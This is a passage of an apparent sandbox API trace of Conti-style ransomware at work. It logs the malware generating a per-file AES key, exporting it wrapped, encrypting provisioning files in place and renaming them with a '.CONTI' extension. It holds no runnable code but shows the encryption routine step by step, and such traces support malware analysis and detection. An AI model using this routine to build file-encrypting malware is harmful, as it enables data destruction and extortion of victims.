	[0113.385] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml"
	[0113.385] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.385] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\5__connections_cellular_telecom personal sa (argentina)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\5__connections_cellular_telecom personal sa (argentina)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.386] GetProcessHeap () returned 0x1720000
	[0113.386] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.386] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0113.386] GetProcessHeap () returned 0x1720000
	[0113.386] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1815148 | out: hHeap=0x1720000) returned 1
	[0113.386] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0113.386] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65bf2e8 | out: phKey=0x65bf2e8*=0x17c77f0) returned 1
	[0113.386] CryptExportKey (in: hKey=0x17c77f0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bf2ec, pdwDataLen=0x447fe94 | out: pbData=0x65bf2ec*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0113.387] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\600__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.387] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\600__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0113.387] GetLastError () returned 0x0
	[0113.387] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=706) returned 1
	[0113.387] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c2
	[0113.387] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.387] SetEndOfFile (hFile=0x320) returned 1
	[0113.388] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.388] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.388] WriteFile (in: hFile=0x320, lpBuffer=0x65bf2ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x65bf2ec*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.389] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.389] ReadFile (in: hFile=0x320, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x2c2, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x2c2, lpOverlapped=0x0) returned 1
	[0113.389] CryptEncrypt (in: hKey=0x17c77f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2c2, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2d0) returned 1
	[0113.389] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.389] WriteFile (in: hFile=0x320, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.390] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.390] WriteFile (in: hFile=0x320, lpBuffer=0x65bf2e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x65bf2e0*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0113.390] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.390] CloseHandle (hObject=0x320) returned 1
	[0113.390] GetProcessHeap () returned 0x1720000
	[0113.390] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.390] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml"
	[0113.390] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.390] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\600__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\600__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\600__connections_cellular_sfr (france)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.391] GetProcessHeap () returned 0x1720000
	[0113.391] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.391] CryptDestroyKey (hKey=0x17c77f0) returned 1
	[0113.391] GetProcessHeap () returned 0x1720000
	[0113.391] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bb578 | out: hHeap=0x1720000) returned 1
	[0113.391] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0113.391] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65bd540 | out: phKey=0x65bd540*=0x17c77f0) returned 1
	[0113.391] CryptExportKey (in: hKey=0x17c77f0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bd544, pdwDataLen=0x447fe94 | out: pbData=0x65bd544*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0113.392] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\601__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0113.392] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\601__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0113.392] GetLastError () returned 0x0
	[0113.392] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=704) returned 1
	[0113.392] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c0
	[0113.392] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.392] SetEndOfFile (hFile=0x320) returned 1
	[0113.393] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.393] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.393] WriteFile (in: hFile=0x320, lpBuffer=0x65bd544*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x65bd544*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.709] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.713] ReadFile (in: hFile=0x320, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x2c0, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x2c0, lpOverlapped=0x0) returned 1
	[0114.713] CryptEncrypt (in: hKey=0x17c77f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2c0, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2d0) returned 1
	[0114.713] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.713] WriteFile (in: hFile=0x320, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.715] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.718] WriteFile (in: hFile=0x320, lpBuffer=0x65bd538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x65bd538*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0114.724] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.724] CloseHandle (hObject=0x320) returned 1
	[0114.724] GetProcessHeap () returned 0x1720000
	[0114.724] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.727] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml"
	[0114.727] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.CONTI"
	[0114.729] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\601__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\601__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\601__connections_cellular_sfr (france)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0114.837] GetProcessHeap () returned 0x1720000
	[0114.837] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.837] CryptDestroyKey (hKey=0x17c77f0) returned 1
	[0114.837] GetProcessHeap () returned 0x1720000
	[0114.837] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bb950 | out: hHeap=0x1720000) returned 1
	[0114.837] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0114.837] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65d74f8 | out: phKey=0x65d74f8*=0x6b7f3b8) returned 1
	[0114.837] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d74fc, pdwDataLen=0x447fe94 | out: pbData=0x65d74fc*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0114.838] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\4__power_policy.provxml")) returned 0x20
	[0114.838] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\4__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0114.838] GetLastError () returned 0x0
	[0114.838] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=3683) returned 1
	[0114.838] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe63
	[0114.838] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.838] SetEndOfFile (hFile=0x320) returned 1
	[0114.838] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.838] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.838] WriteFile (in: hFile=0x320, lpBuffer=0x65d74fc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x65d74fc*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.840] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.840] ReadFile (in: hFile=0x320, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0xe63, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0xe63, lpOverlapped=0x0) returned 1
	[0114.840] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0xe63, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0xe70) returned 1
	[0114.840] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.840] WriteFile (in: hFile=0x320, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0xe70, lpOverlapped=0x0) returned 1
	[0114.840] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.841] WriteFile (in: hFile=0x320, lpBuffer=0x65d74f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x65d74f0*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0114.841] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.841] CloseHandle (hObject=0x320) returned 1
	[0114.841] GetProcessHeap () returned 0x1720000
	[0114.841] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.841] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml"
	[0114.841] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml.CONTI"
	[0114.841] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\4__power_policy.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\4__power_policy.provxml.conti")) returned 1
	[0114.841] GetProcessHeap () returned 0x1720000
	[0114.841] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.841] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0114.842] GetProcessHeap () returned 0x1720000
	[0114.842] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181a240 | out: hHeap=0x1720000) returned 1
	[0114.842] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0114.842] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65d7740 | out: phKey=0x65d7740*=0x6b7f1b8) returned 1
	[0114.842] CryptExportKey (in: hKey=0x6b7f1b8, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d7744, pdwDataLen=0x447fe94 | out: pbData=0x65d7744*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0114.842] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\5__power_policy.provxml")) returned 0x20
	[0114.842] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\5__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0114.843] GetLastError () returned 0x0
	[0114.843] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=2082) returned 1
	[0114.843] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x822
	[0114.843] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.843] SetEndOfFile (hFile=0x320) returned 1
	[0114.843] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.843] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.843] WriteFile (in: hFile=0x320, lpBuffer=0x65d7744*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x65d7744*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.845] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
